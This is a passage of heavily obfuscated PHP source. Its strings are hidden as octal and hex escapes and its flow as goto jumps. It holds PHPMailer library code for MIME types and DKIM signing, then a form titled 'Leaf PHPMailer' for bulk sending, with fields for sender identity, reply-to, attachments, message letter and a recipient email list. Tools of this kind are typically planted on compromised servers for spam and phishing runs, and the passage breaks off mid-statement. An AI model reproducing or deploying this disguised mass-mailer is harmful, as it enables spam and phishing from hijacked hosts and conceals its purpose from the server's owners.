"\141\160\x70\154\x69\143\x61\x74\x69\157\156\57\166\156\x64\x2e\155\x73\x2d\145\x78\143\145\x6c\x2e\163\x68\145\x65\164\x2e\x62\x69\156\x61\162\x79\56\155\141\x63\x72\157\x45\156\x61\142\x6c\145\x64\x2e\61\62", "\143\154\x61\x73\163" => "\x61\160\x70\x6c\x69\143\141\164\151\x6f\x6e\57\x6f\143\x74\x65\164\x2d\x73\x74\x72\x65\141\x6d", "\x64\154\154" => "\141\x70\x70\x6c\151\x63\x61\x74\151\x6f\156\x2f\157\143\164\145\164\x2d\163\164\162\145\x61\x6d", "\144\x6d\x73" => "\141\160\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x6f\x63\164\145\x74\55\163\x74\x72\x65\141\x6d", "\145\170\x65" => "\141\x70\x70\x6c\151\x63\x61\164\x69\157\x6e\57\x6f\x63\164\x65\164\x2d\x73\164\x72\x65\141\x6d", "\x6c\x68\141" => "\x61\160\x70\x6c\x69\x63\141\x74\151\157\x6e\x2f\x6f\143\x74\145\164\x2d\x73\x74\162\x65\x61\x6d", "\154\x7a\150" => "\x61\160\160\154\x69\x63\141\164\151\157\156\x2f\157\143\x74\x65\x74\55\x73\x74\162\x65\141\x6d", "\x70\163\x64" => "\141\x70\x70\x6c\x69\x63\x61\x74\151\x6f\x6e\57\x6f\143\164\x65\x74\55\x73\164\162\x65\x61\155", "\163\x65\x61" => "\141\x70\160\154\x69\x63\x61\164\x69\157\x6e\x2f\157\143\164\x65\164\55\163\x74\162\145\141\x6d", "\x73\157" => "\x61\160\160\x6c\x69\x63\141\x74\x69\157\x6e\x2f\157\143\x74\145\164\x2d\163\x74\162\145\x61\x6d", "\x6f\144\141" => "\141\x70\160\x6c\151\143\x61\x74\x69\x6f\156\x2f\x6f\x64\x61", "\160\x64\146" => "\x61\160\x70\154\151\x63\x61\x74\x69\x6f\156\57\x70\144\146", "\141\x69" => "\141\160\x70\x6c\151\x63\x61\x74\151\157\156\57\160\157\x73\164\x73\143\x72\x69\x70\x74", "\x65\160\163" => "\141\160\x70\x6c\151\143\141\x74\151\x6f\156\x2f\160\x6f\x73\x74\163\143\x72\x69\x70\x74", "\160\x73" => "\x61\160\160\154\151\x63\141\x74\151\x6f\x6e\x2f\x70\x6f\163\x74\x73\x63\x72\151\x70\164", "\163\155\x69" => "\x61\x70\160\154\151\x63\x61\x74\x69\x6f\156\57\x73\x6d\151\x6c", "\x73\x6d\x69\x6c" => "\141\x70\160\x6c\x69\143\x61\x74\x69\x6f\x6e\57\163\155\x69\x6c", "\155\151\x66" => "\x61\x70\160\x6c\x69\x63\141\x74\x69\x6f\156\x2f\x76\x6e\x64\56\155\151\146", "\x78\154\163" => "\141\160\x70\154\x69\143\x61\164\x69\x6f\156\x2f\x76\x6e\144\x2e\x6d\163\x2d\145\170\143\x65\x6c", "\x70\x70\164" => "\x61\160\x70\154\x69\143\x61\164\151\x6f\156\x2f\x76\x6e\144\56\155\x73\55\x70\157\167\145\x72\160\157\151\x6e\x74", "\167\142\170\155\x6c" => "\141\160\160\154\x69\143\x61\164\151\157\156\57\x76\x6e\x64\x2e\167\x61\160\x2e\167\x62\x78\155\x6c", "\167\155\x6c\x63" => "\141\x70\x70\154\x69\143\141\164\151\157\156\x2f\x76\156\144\x2e\x77\x61\160\56\167\155\154\x63", "\144\143\162" => "\x61\x70\x70\154\x69\143\x61\164\151\157\156\57\x78\x2d\x64\x69\x72\145\x63\x74\157\x72", "\x64\151\x72" => "\x61\x70\x70\x6c\x69\143\141\164\x69\157\x6e\x2f\170\55\x64\151\162\145\x63\164\157\x72", "\144\170\162" => "\141\160\x70\x6c\151\143\x61\164\151\157\156\x2f\x78\x2d\144\151\x72\x65\x63\x74\157\x72", "\x64\x76\x69" => "\141\x70\x70\154\151\x63\141\x74\x69\x6f\156\57\x78\55\x64\x76\151", "\x67\x74\x61\x72" => "\141\x70\160\x6c\x69\x63\x61\x74\151\157\x6e\57\170\x2d\x67\164\x61\x72", "\x70\150\160\63" => "\141\x70\160\x6c\x69\143\x61\x74\x69\x6f\x6e\57\x78\55\150\164\x74\x70\144\x2d\160\150\160", "\160\x68\160\x34" => "\x61\160\x70\154\151\x63\141\x74\x69\x6f\x6e\x2f\170\x2d\x68\x74\164\160\x64\x2d\160\150\160", "\x70\x68\160" => "\x61\x70\x70\x6c\x69\143\141\x74\x69\157\x6e\57\x78\x2d\x68\164\x74\x70\x64\55\160\150\x70", "\x70\x68\x74\x6d\154" => "\141\x70\160\154\x69\x63\141\x74\151\x6f\x6e\57\x78\x2d\150\164\x74\160\144\x2d\x70\150\160", "\x70\x68\x70\163" => "\x61\x70\160\x6c\x69\143\x61\164\x69\x6f\156\57\170\55\150\164\164\x70\x64\55\x70\x68\160\x2d\163\x6f\165\162\143\145", "\x73\167\146" => "\141\x70\160\154\x69\143\x61\164\x69\157\x6e\57\x78\x2d\x73\x68\157\x63\x6b\167\141\166\x65\x2d\x66\x6c\x61\x73\150", "\163\151\x74" => "\x61\160\160\x6c\151\143\x61\x74\151\157\x6e\x2f\x78\55\163\164\165\x66\x66\x69\x74", "\x74\x61\x72" => "\141\160\x70\154\151\x63\141\164\151\x6f\156\57\170\x2d\164\141\x72", "\164\147\x7a" => "\x61\160\x70\x6c\x69\x63\141\164\151\157\x6e\x2f\x78\x2d\164\x61\162", "\x78\x68\x74" => "\141\x70\160\x6c\151\143\141\164\151\157\156\x2f\x78\x68\x74\x6d\154\x2b\x78\155\x6c", "\170\150\164\x6d\154" => "\141\x70\160\x6c\x69\143\141\x74\x69\157\156\x2f\x78\150\164\x6d\x6c\53\170\155\154", "\x7a\151\x70" => "\x61\160\160\x6c\151\143\x61\x74\x69\x6f\156\x2f\172\x69\160", "\x6d\151\144" => "\x61\x75\x64\151\x6f\57\x6d\x69\144\x69", "\x6d\151\144\151" => "\x61\165\144\x69\x6f\x2f\x6d\151\144\x69", "\x6d\160\x32" => "\x61\165\x64\x69\x6f\57\x6d\x70\145\147", "\x6d\x70\x33" => "\x61\x75\x64\x69\x6f\x2f\x6d\160\145\x67", "\155\x70\147\141" => "\x61\x75\144\151\157\57\155\x70\145\147", "\x61\151\146" => "\x61\x75\144\151\x6f\x2f\170\55\x61\x69\146\146", "\141\x69\146\x63" => "\141\165\144\x69\x6f\57\x78\55\141\151\146\146", "\141\151\146\146" => "\141\165\x64\151\157\x2f\170\x2d\x61\x69\146\x66", "\162\x61\x6d" => "\x61\165\x64\151\x6f\57\x78\x2d\x70\156\x2d\x72\x65\141\154\141\x75\144\151\157", "\x72\x6d" => "\x61\x75\144\x69\157\57\170\x2d\x70\156\55\x72\x65\x61\x6c\141\165\144\x69\x6f", "\x72\160\x6d" => "\x61\x75\x64\151\157\x2f\170\55\x70\156\55\162\145\x61\x6c\141\x75\144\x69\157\x2d\x70\154\165\147\151\156", "\x72\x61" => "\x61\165\x64\x69\x6f\57\x78\x2d\x72\x65\141\x6c\x61\x75\x64\x69\157", "\x77\x61\166" => "\x61\x75\x64\151\x6f\57\170\x2d\x77\141\x76", "\142\x6d\x70" => "\151\155\x61\x67\x65\57\x62\155\160", "\x67\x69\x66" => "\x69\155\x61\147\x65\57\x67\151\x66", "\152\x70\x65\x67" => "\151\x6d\141\x67\x65\57\x6a\x70\x65\x67", "\x6a\160\145" => "\x69\x6d\141\147\x65\x2f\152\x70\x65\x67", "\152\160\x67" => "\x69\155\141\147\x65\x2f\152\160\x65\x67", "\160\156\147" => "\151\155\x61\x67\145\57\160\x6e\147", "\x74\151\x66\146" => "\151\x6d\x61\x67\x65\57\x74\151\x66\146", "\164\x69\146" => "\151\x6d\141\x67\x65\57\164\x69\146\146", "\145\x6d\154" => "\155\x65\163\163\x61\147\145\x2f\x72\146\x63\70\62\x32", "\x63\x73\163" => "\x74\145\170\164\x2f\143\163\163", "\150\x74\155\154" => "\x74\x65\170\x74\57\x68\164\155\x6c", "\150\164\155" => "\164\145\x78\x74\57\x68\164\155\x6c", "\163\x68\x74\155\154" => "\x74\145\x78\x74\x2f\150\164\155\154", "\154\x6f\x67" => "\x74\x65\170\x74\x2f\160\154\141\x69\x6e", "\164\145\170\164" => "\x74\x65\170\164\57\160\x6c\x61\151\x6e", "\164\170\x74" => "\164\x65\x78\164\x2f\160\154\141\x69\156", "\162\x74\170" => "\x74\145\170\x74\57\x72\x69\143\x68\x74\145\170\x74", "\162\x74\146" => "\164\145\x78\x74\57\162\x74\x66", "\x76\143\x66" => "\x74\145\170\x74\x2f\166\x63\x61\162\144", "\166\x63\x61\x72\144" => "\x74\x65\170\x74\57\x76\143\141\162\x64", "\170\x6d\x6c" => "\x74\x65\170\164\x2f\x78\x6d\154", "\x78\163\x6c" => "\x74\x65\x78\x74\57\x78\x6d\154", "\155\160\145\147" => "\166\x69\x64\145\x6f\x2f\155\x70\145\147", "\x6d\x70\x65" => "\x76\x69\144\x65\157\x2f\155\160\x65\147", "\155\x70\147" => "\166\x69\x64\x65\157\57\155\160\145\147", "\155\157\166" => "\166\151\144\145\x6f\57\x71\165\x69\143\x6b\164\x69\155\145", "\x71\164" => "\x76\x69\x64\145\x6f\57\161\165\x69\143\153\x74\151\x6d\145", "\x72\166" => "\166\151\144\x65\x6f\x2f\x76\156\144\x2e\162\156\x2d\x72\x65\x61\x6c\166\x69\x64\145\x6f", "\x61\166\151" => "\166\x69\144\145\x6f\x2f\170\55\x6d\163\x76\151\144\145\x6f", "\x6d\157\166\151\145" => "\x76\x69\x64\x65\157\x2f\x78\55\x73\147\151\55\x6d\x6f\x76\151\145"); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return "\x61\160\160\x6c\151\x63\x61\164\151\x6f\x6e\57\x6f\x63\x74\x65\164\55\x73\x74\162\145\141\x6d"; } public static function filenameToType($filename) { $qpos = strpos($filename, "\77"); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo["\x65\x78\164\x65\156\x73\x69\x6f\156"]); } public static function mb_pathinfo($path, $options = null) { $ret = array("\144\x69\162\x6e\141\x6d\145" => '', "\142\141\163\x65\x6e\141\155\x65" => '', "\x65\x78\x74\145\156\x73\151\157\156" => '', "\x66\x69\x6c\x65\x6e\x61\x6d\x65" => ''); $pathinfo = array(); if (preg_match("\x25\136\50\x2e\x2a\x3f\x29\133\x5c\134\57\135\52\50\50\x5b\136\x2f\x5c\x5c\x5d\x2a\x3f\x29\x28\x5c\56\50\x5b\x5e\x5c\x2e\x5c\x5c\x2f\135\53\x3f\x29\174\51\51\x5b\134\134\57\x5c\56\x5d\52\44\45\x69\155", $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret["\x64\x69\162\x6e\141\155\145"] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret["\142\141\x73\x65\x6e\141\x6d\x65"] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret["\145\170\x74\145\x6e\163\x69\x6f\x6e"] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret["\146\x69\154\x65\156\141\x6d\x65"] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case "\144\x69\x72\156\x61\x6d\x65": return $ret["\144\x69\162\x6e\141\155\145"]; case PATHINFO_BASENAME: case "\x62\141\163\145\156\x61\155\x65": return $ret["\142\x61\x73\145\156\141\155\x65"]; case PATHINFO_EXTENSION: case "\x65\x78\164\x65\x6e\163\151\x6f\156": return $ret["\x65\x78\x74\x65\x6e\x73\x69\157\x6e"]; case PATHINFO_FILENAME: case "\146\151\x6c\145\x6e\x61\x6d\x65": return $ret["\x66\151\x6c\145\x6e\141\155\145"]; default: return $ret; } } public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } else { $this->setError($this->lang("\x76\141\x72\x69\x61\x62\154\x65\137\163\x65\x74") . $name); return false; } } public function secureHeader($str) { return trim(str_replace(array("\15", "\12"), '', $str)); } public static function normalizeBreaks($text, $breaktype = "\15\12") { return preg_replace("\57\50\134\162\x5c\x6e\x7c\x5c\162\x7c\134\x6e\51\57\x6d\x73", $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (33 <= $ord && $ord <= 58 || $ord == 60 || 62 <= $ord && $ord <= 126) { $line .= $txt[$i]; } else { $line .= "\x3d" . sprintf("\45\60\x32\130", $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined("\120\113\x43\x53\67\x5f\x54\105\130\124")) { if ($this->exceptions) { throw new phpmailerException($this->lang("\145\x78\164\145\156\x73\151\x6f\156\137\155\x69\x73\x73\151\156\147") . "\157\160\145\156\163\163\x6c"); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' != $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (version_compare(PHP_VERSION, "\x35\x2e\63\x2e\x30") >= 0 and in_array("\x73\x68\141\62\x35\x36\127\x69\x74\x68\122\123\x41\105\x6e\x63\162\x79\160\x74\151\x6f\156", openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, "\163\x68\141\x32\x35\x36\x57\x69\164\x68\x52\x53\101\x45\x6e\x63\x72\x79\160\164\x69\157\156")) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash("\163\150\141\x32\x35\x36", $signHeader); $t = "\x33\60\63\61\x33\x30\60\x64\60\66\x30\x39\x36\60\70\66\64\70\x30\x31\66\x35\60\x33\60\x34\60\x32\60\x31\60\65\60\60\x30\x34\x32\x30" . $hash; $pslen = $pinfo["\142\x69\x74\x73"] / 8 - (strlen($t) / 2 + 3); $eb = pack("\x48\x2a", "\x30\x30\x30\61" . str_repeat("\106\106", $pslen) . "\60\x30" . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace("\57\134\162\134\156\x5c\x73\53\57", "\40", $signHeader); $lines = explode("\xd\xa", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode("\x3a", $line, 2); $heading = strtolower($heading); $value = preg_replace("\x2f\x5c\163\173\x32\54\175\57", "\x20", $value); $lines[$key] = $heading . "\72" . trim($value); } $signHeader = implode("\xd\xa", $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == '') { return "\15\12"; } $body = str_replace("\xd\xa", "\xa", $body); $body = str_replace("\xa", "\15\12", $body); while (substr($body, strlen($body) - 4, 4) == "\15\12\15\12") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = "\x72\x73\x61\55\163\x68\x61\62\65\66"; $DKIMcanonicalization = "\162\145\x6c\x61\170\x65\x64\x2f\163\151\x6d\x70\154\x65"; $DKIMquery = "\x64\156\163\x2f\164\170\164"; $DKIMtime = time(); $subject_header = "\x53\x75\x62\x6a\145\x63\x74\x3a\x20{$subject}"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, "\x46\162\x6f\155\72") === 0) { $from_header = $header; $current = "\x66\162\157\155\x5f\150\145\141\144\x65\162"; } elseif (strpos($header, "\x54\x6f\72") === 0) { $to_header = $header; $current = "\x74\157\137\x68\145\141\144\145\162"; } elseif (strpos($header, "\104\x61\x74\145\x3a") === 0) { $date_header = $header; $current = "\x64\141\x74\x65\137\150\x65\141\144\x65\162"; } else { if (!empty(${$current}) && strpos($header, "\40\75\x3f") === 0) { ${$current} .= $header; } else { $current = ''; } } } $from = str_replace("\174", "\75\x37\103", $this->DKIM_QP($from_header)); $to = str_replace("\174", "\75\67\103", $this->DKIM_QP($to_header)); $date = str_replace("\174", "\x3d\67\x43", $this->DKIM_QP($date_header)); $subject = str_replace("\x7c", "\x3d\67\x43", $this->DKIM_QP($subject_header)); $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack("\x48\x2a", hash("\x73\x68\141\62\65\66", $body))); if ('' == $this->DKIM_identity) { $ident = ''; } else { $ident = "\40\x69\x3d" . $this->DKIM_identity . "\73"; } $dkimhdrs = "\x44\x4b\x49\x4d\x2d\x53\151\147\x6e\141\x74\165\162\145\x3a\40\166\75\61\73\x20\141\75" . $DKIMsignatureType . "\73\x20\x71\75" . $DKIMquery . "\73\40\154\x3d" . $DKIMlen . "\73\40\x73\x3d" . $this->DKIM_selector . "\x3b\15\xa" . "\11\164\75" . $DKIMtime . "\73\x20\x63\75" . $DKIMcanonicalization . "\x3b\xd\xa" . "\11\150\x3d\106\162\157\155\x3a\x54\x6f\x3a\x44\x61\x74\x65\72\123\165\142\x6a\145\143\x74\x3b\xd\12" . "\x9\144\x3d" . $this->DKIM_domain . "\73" . $ident . "\xd\12" . "\11\x7a\75{$from}\xd\12" . "\x9\174{$to}\15\12" . "\11\x7c{$date}\15\xa" . "\x9\x7c{$subject}\x3b\15\xa" . "\x9\x62\150\x3d" . $DKIMb64 . "\x3b\15\xa" . "\11\142\75"; $toSign = $this->DKIM_HeaderC($from_header . "\xd\12" . $to_header . "\xd\12" . $date_header . "\15\xa" . $subject_header . "\xd\xa" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "\15\12"; } public static function hasLineLongerThanMax($str) { return (bool) preg_match("\x2f\x5e\x28\56\173" . (self::MAX_LINE_LENGTH + 2) . "\x2c\x7d\x29\57\155", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } goto I1ioS; o2jZc: print "\x3c\144\x69\166\x20\143\x6c\141\163\x73\75\x22\x63\x6f\156\164\141\x69\156\x65\162\40\143\157\154\55\x6c\x67\55\x36\42\76\12\40\40\40\x20\40\x20\40\40\x3c\150\63\76\x3c\x66\x6f\156\x74\x20\143\157\154\157\162\75\42\x67\x72\x65\145\156\x22\x3e\74\163\160\x61\156\40\x63\154\x61\x73\x73\75\x22\x67\x6c\171\160\150\151\143\x6f\156\40\x67\154\171\x70\150\151\143\x6f\156\55\154\x65\x61\146\42\x3e\x3c\x2f\163\x70\x61\156\x3e\x3c\x2f\146\x6f\x6e\164\76\40\x4c\145\x61\146\40\120\110\x50\115\141\151\x6c\145\x72\x20\x3c\163\155\x61\154\x6c\76" . $leaf["\x76\x65\162\163\x69\157\x6e"] . "\x3c\x2f\x73\155\141\x6c\154\x3e\x3c\57\150\63\x3e\xa\40\x20\x20\x20\x20\40\x20\40\74\x66\x6f\x72\155\x20\156\141\x6d\145\75\42\146\x6f\x72\155\x22\40\x69\144\75\x22\146\157\162\x6d\x22\40\x6d\x65\x74\150\x6f\x64\75\x22\120\117\123\124\42\x20\x65\x6e\143\164\x79\x70\145\x3d\42\x6d\165\154\x74\x69\160\141\162\x74\x2f\146\157\x72\155\x2d\x64\141\164\141\42\x20\x61\143\164\x69\157\x6e\75\x22\42\76\xa\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\74\151\156\160\x75\x74\x20\164\171\160\145\x3d\x22\x68\x69\x64\144\x65\156\x22\40\156\141\155\145\75\x22\x61\143\x74\x69\157\156\x22\x20\x76\141\x6c\x75\145\x3d\x22\x73\x63\x6f\x72\x65\42\x3e\xa\xa\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\74\x64\151\x76\x20\143\x6c\x61\x73\163\x3d\x22\162\x6f\167\x22\x3e\12\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\74\x64\151\166\x20\x63\x6c\x61\163\x73\x3d\42\x66\157\162\x6d\x2d\147\162\x6f\x75\160\x20\143\157\x6c\55\154\x67\x2d\x36\40\x22\x3e\74\154\x61\142\145\x6c\40\146\x6f\x72\75\42\163\145\x6e\144\145\x72\x45\x6d\x61\151\154\42\76\x45\155\141\151\x6c\74\57\154\141\142\145\x6c\x3e\x3c\151\x6e\160\x75\164\x20\164\x79\x70\x65\75\x22\x74\145\170\164\x22\x20\x63\x6c\x61\163\x73\75\x22\146\157\162\155\55\143\x6f\156\x74\162\157\154\x20\40\151\156\x70\x75\x74\55\163\155\x20\42\x20\x69\144\x3d\x22\163\x65\156\144\145\162\x45\x6d\141\151\x6c\x22\x20\156\x61\x6d\x65\x3d\x22\x73\145\x6e\144\x65\x72\x45\155\141\151\x6c\x22\40\x76\141\154\165\145\75\x22" . $senderEmail . "\42\x3e\74\57\144\x69\x76\x3e\xa\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x3c\x64\151\x76\x20\143\x6c\x61\x73\163\x3d\x22\146\x6f\162\x6d\x2d\x67\162\157\x75\160\x20\x63\x6f\154\x2d\154\x67\x2d\66\x20\42\x3e\x3c\154\141\x62\145\x6c\x20\146\157\162\75\x22\163\145\x6e\144\x65\x72\x4e\x61\155\x65\x22\76\123\x65\x6e\x64\145\162\x20\116\141\x6d\x65\x3c\57\154\x61\x62\x65\x6c\x3e\74\x69\156\160\x75\164\x20\x74\171\160\145\x3d\x22\x74\145\x78\164\42\40\x63\x6c\141\x73\163\x3d\x22\146\x6f\x72\x6d\x2d\143\157\x6e\x74\162\157\154\x20\x20\x69\156\x70\x75\164\x2d\x73\x6d\40\x22\40\151\x64\75\x22\x73\x65\x6e\144\x65\162\x4e\141\155\145\42\x20\156\141\155\x65\75\x22\x73\145\156\x64\145\x72\x4e\141\x6d\145\x22\40\166\141\154\x75\145\75\42" . $senderName . "\x22\x3e\x3c\x2f\x64\x69\166\x3e\12\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x3c\57\144\151\x76\76\xa\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\74\144\151\166\x20\143\154\x61\x73\163\75\x22\162\x6f\167\x22\x3e\12\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\74\x73\160\141\x6e\x20\143\154\141\x73\163\x3d\42\146\157\162\x6d\55\x67\162\x6f\x75\x70\40\143\157\x6c\x2d\x6c\147\55\x36\40\x20\42\x3e\x3c\154\x61\x62\x65\154\40\x66\157\x72\x3d\42\x61\164\164\141\x63\150\155\x65\156\164\x22\76\101\164\164\x61\x63\x68\155\x65\156\164\40\74\163\x6d\x61\154\x6c\76\x28\115\165\x6c\x74\x69\x70\154\145\x20\x41\x76\141\x69\x6c\x61\x62\x6c\145\x29\74\x2f\x73\155\x61\x6c\154\76\x3c\57\154\141\x62\145\x6c\76\74\x69\x6e\x70\165\x74\x20\x74\171\160\145\x3d\x22\146\151\154\x65\42\x20\156\x61\155\145\x3d\x22\x61\164\164\x61\143\150\x6d\x65\x6e\164\133\x5d\42\40\x69\144\75\42\x61\164\164\x61\143\x68\155\x65\156\164\x5b\135\42\40\x6d\x75\x6c\164\151\160\x6c\x65\x2f\76\74\57\163\x70\x61\x6e\x3e\xa\12\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\x3c\144\151\x76\x20\143\154\141\163\x73\x3d\x22\146\157\x72\155\55\x67\x72\157\x75\160\x20\x63\x6f\154\55\154\147\x2d\66\42\76\74\x6c\141\142\x65\x6c\40\x66\157\162\x3d\42\162\145\160\x6c\x79\124\x6f\42\76\122\145\x70\x6c\x79\x2d\164\x6f\x3c\57\x6c\141\x62\x65\154\76\x3c\x69\x6e\x70\165\164\40\164\171\160\145\x3d\x22\164\x65\x78\164\x22\x20\143\x6c\141\x73\x73\75\42\x66\x6f\162\155\x2d\x63\x6f\x6e\164\162\x6f\x6c\40\x20\151\156\160\165\164\x2d\x73\x6d\40\x22\40\151\x64\x3d\x22\x72\x65\160\x6c\x79\x54\x6f\42\x20\x6e\x61\x6d\145\x3d\42\x72\145\160\154\171\x54\157\x22\x20\166\x61\x6c\x75\145\75\x22" . $replyTo . "\x22\x20\57\76\x3c\57\x64\151\x76\x3e\12\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x3c\x2f\x64\151\x76\76\12\40\40\40\x20\40\40\x20\40\x20\40\40\40\74\144\x69\166\x20\x63\154\141\163\x73\75\x22\x72\x6f\x77\x22\76\xa\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\74\144\x69\166\x20\x63\154\141\x73\x73\x3d\42\x66\x6f\x72\x6d\55\x67\x72\157\165\x70\40\x63\x6f\154\x2d\154\x67\55\x31\62\x20\42\x3e\x3c\154\141\x62\145\154\x20\146\157\162\x3d\x22\163\x75\142\152\x65\143\164\42\x3e\x53\165\142\152\145\143\x74\x3c\57\x6c\141\x62\x65\154\76\74\151\x6e\160\x75\x74\40\164\x79\x70\145\75\x22\164\145\x78\164\x22\40\x63\154\x61\163\163\75\42\x66\x6f\162\x6d\x2d\x63\157\x6e\x74\162\157\x6c\40\x20\151\156\x70\x75\x74\55\x73\155\40\x22\40\x69\144\75\42\163\x75\x62\x6a\x65\143\164\42\40\156\141\155\145\75\42\x73\165\x62\x6a\145\x63\x74\42\x20\x76\141\154\165\x65\x3d\42" . $subject . "\42\x20\57\76\x3c\x2f\144\151\x76\76\xa\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x3c\57\144\x69\x76\x3e\12\40\40\40\40\x20\40\40\x20\x20\40\40\x20\74\144\151\166\40\143\154\x61\163\163\75\x22\162\x6f\167\x22\76\xa\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\74\144\x69\166\40\x63\154\x61\163\163\x3d\x22\146\x6f\162\x6d\x2d\x67\162\157\x75\x70\x20\143\x6f\154\55\154\x67\55\66\42\x3e\74\x6c\x61\x62\145\x6c\40\146\157\162\75\42\x6d\145\163\x73\141\147\145\x4c\x65\x74\164\145\162\x22\76\115\145\163\163\x61\x67\145\40\x4c\x65\x74\164\x65\x72\40\74\142\165\164\x74\x6f\156\40\164\171\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\x20\143\x6c\141\x73\x73\75\x22\142\x74\156\40\142\x74\156\x2d\144\x65\x66\141\x75\x6c\164\x20\x62\164\x6e\x2d\x78\x73\42\40\146\157\x72\x6d\x3d\x22\x66\x6f\x72\155\x22\x20\x6e\141\155\145\75\42\x61\x63\164\x69\157\x6e\x22\x20\x76\x61\x6c\165\145\x3d\42\x76\151\x65\x77\42\40\146\157\162\155\164\141\162\x67\x65\164\75\42\x5f\x62\154\x61\156\153\42\76\120\x72\145\166\151\145\x77\x20\x3c\x2f\142\165\x74\164\x6f\x6e\x3e\x3c\57\x6c\x61\x62\145\154\x3e\x3c\x74\145\x78\x74\141\x72\x65\141\x20\156\141\x6d\145\75\42\155\145\x73\163\141\147\x65\x4c\x65\x74\x74\x65\x72\x22\x20\151\144\75\x22\155\145\163\x73\x61\147\x65\114\145\164\164\x65\x72\42\40\143\154\x61\x73\x73\75\x22\146\x6f\x72\x6d\55\x63\x6f\x6e\x74\162\x6f\x6c\x22\40\x72\157\167\163\x3d\42\61\60\x22\x20\x69\144\x3d\42\164\x65\x78\x74\x41\x72\145\x61\x22\76" . $messageLetter . "\74\x2f\164\145\x78\164\x61\x72\145\x61\76\74\57\144\x69\166\x3e\xa\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x3c\x64\x69\x76\40\x63\x6c\x61\163\x73\75\x22\x66\x6f\x72\x6d\55\147\162\157\x75\x70\x20\143\x6f\x6c\x2d\154\x67\55\x36\x20\x22\76\x3c\x6c\x61\x62\x65\154\x20\146\157\x72\x3d\42\145\155\x61\x69\154\114\151\x73\x74\x22\76\x45\x6d\x61\x69\154\40\x4c\151\x73\164\40\74\141\40\x68\162\x65\x66\x3d\42\77\x65\x6d\x61\151\x6c\x66\x69\154\164\x65\x72\x3d\157\156\42\x20\x74\141\x72\x67\x65\164\75\x22\137\x62\x6c\x61\156\x6b\x22\x20\143\x6c\x61\x73\x73\75\x22\142\164\x6e\40\142\164\156\x2d\x64\x65\x66\141\165\154\164\x20\142\x74\156\55\170\x73\42\76\106\151\x6c\x74\145\x72\57\105\170\164\x72\x61\143\164\x3c\x2f\141\76\x3c\x2f\x6c\x61\x62\x65\x6c\x3e\74\x74\x65\x78\164\141\x72\x65\x61\x20\156\x61\155\145\75\x22\x65\155\141\x69\x6c\x4c\151\163\x74\42\x20\151\x64\75\x22\x65\155\141\151\154\114\x69\163\164\42\40\143\x6c\141\163\163\x3d\42\x66\x6f\162\155\55\143\x6f\x6e\x74\162\x6f\154\x22\x20\162\x6f\x77\x73\75\x22\61\x30\x22\x20\x69\x64\x3d\42\x74\145\x78\x74\101\x72\x65\x61\x22\x3e" . $emailList . 